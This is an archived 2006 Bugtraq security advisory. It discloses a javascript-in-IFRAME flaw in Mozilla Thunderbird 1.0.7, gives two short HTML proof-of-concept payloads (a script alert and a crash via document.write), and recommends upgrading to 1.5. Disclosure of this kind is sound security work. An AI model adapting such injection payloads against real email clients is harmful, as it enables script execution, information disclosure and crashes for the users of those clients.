bugtraq - Mozilla Thunderbird : Remote Code Execution & Denial of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <43FC784B.4070909@sysdream.com>
Date: Wed, 22 Feb 2006 15:42:19 +0100
From: Renaud Lifchitz <r.lifchitz@...dream.com>
To: bugtraq@...urityfocus.com
Subject: Mozilla Thunderbird : Remote Code Execution & Denial of Service

Mozilla Thunderbird : Remote Code Execution & Denial of Service

//----- Advisory

Program          : Mozilla Thunderbird
Homepage         : http://www.mozilla.com/thunderbird/
Tested version   : <= 1.0.7
Found by         : nono2357 at sysdream dot com
This advisory    : nono2357 at sysdream dot com
Discovery date   : 2006/01/28

//----- Application description

Full-Featured Email

Simple to use, powerful, and customizable, Thunderbird is a full-featured
email application. Thunderbird supports IMAP and POP mail protocols, as well
as HTML mail formatting. Easily import your existing email accounts and
messages. Built-in RSS capabilities, powerful quick search, spell check
as you
type, global inbox, deleting attachments and advanced message filtering
round
out Thunderbird's modern feature set.

//----- Description of vulnerability

Thunderbird's WYSIWYG rendering engine insufficiently filters javascript
scripts. It is possible to write javascript in the SRC attribute of the
IFRAME
tag. This leads to execution when the email is edited (for instance when
replying to the email), even if javascript is disabled in the preferences.

//----- Proof Of Concept

* Javascript execution :

<html>
<body>
<iframe src="javascript:alert('Found by www.sysdream.com !')"></iframe>
</body>
</html>

* Denial of service (application crash) :

<html>
<body>
<iframe src="javascript:parent.document.write('Found by www.sysdream.com
!')"></iframe>
</body>
</html>

//----- Solution

Upgrade to version 1.5.

Download page : http://www.mozilla.com/thunderbird/all.html
Direct link :
http://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/1.5/

//----- Impact

Successful exploitation may lead to information disclosure (application
version, platform, user emails, user preferences, ...) or could crash the
application.  

//----- Credits

http://www.sysdream.com
nono2357 at sysdream dot com

//----- Greetings

crashfr & the hackademy ...